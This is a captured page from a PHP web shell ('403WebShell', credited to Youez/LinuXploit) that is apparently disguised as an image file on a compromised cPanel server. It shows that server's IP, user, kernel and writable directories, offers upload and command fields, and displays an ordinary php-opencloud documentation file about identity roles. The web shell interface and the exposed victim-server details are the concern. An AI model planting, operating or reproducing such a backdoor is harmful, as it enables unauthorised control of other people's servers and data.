����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.19.76.4
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/vendor/rackspace/php-opencloud/doc/services/identity/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/vendor/rackspace/php-opencloud/doc/services/identity/roles.rst
Roles
=====

A role is a personality that a user assumes when performing a specific
set of operations. A role includes a set of rights and privileges. A
user assuming a role inherits the rights and privileges associated with
the role. A token that is issued to a user includes the list of roles
the user can assume. When a user calls a service, that service
determines how to interpret a user's roles. A role that grants access to
a list of operations or resources within one service may grant access to
a completely different list when interpreted by a different service.

Useful object properties/methods
--------------------------------

+---------------+------------------------+------------------------+
| Property      | Getter                 | Setter                 |
+===============+========================+========================+
| id            | ``getId()``            | ``setId()``            |
+---------------+------------------------+------------------------+
| name          | ``getName()``          | ``setName()``          |
+---------------+------------------------+------------------------+
| description   | ``getDescription()``   | ``setDescription()``   |
+---------------+------------------------+------------------------+

List roles
----------

This call lists the global roles available within a specified service.

.. code-block:: php

  $roles = $service->getRoles();

  foreach ($roles as $role) {
     // ...
  }


Get role
--------

This call lists detailed information (id, name, description) for a
specified role.

.. code-block:: php

  $role = $service->getRole('{roleId}');


Add/delete user roles
---------------------

.. code-block:: php

  $user = $service->getUser('{userId}');

  $roleId = '{roleId}';

  // add role to user
  $user->addRole($roleId);

  // remove role from user
  $user->removeRole($roleId);


List user global roles
----------------------

This call returns a list of global roles associated with a user:

.. code-block:: php

  $roles = $user->getRoles();

  foreach ($roles as $role) {
     // ...
  }

Youez - 2016 - github.com/yon3zu
LinuXploit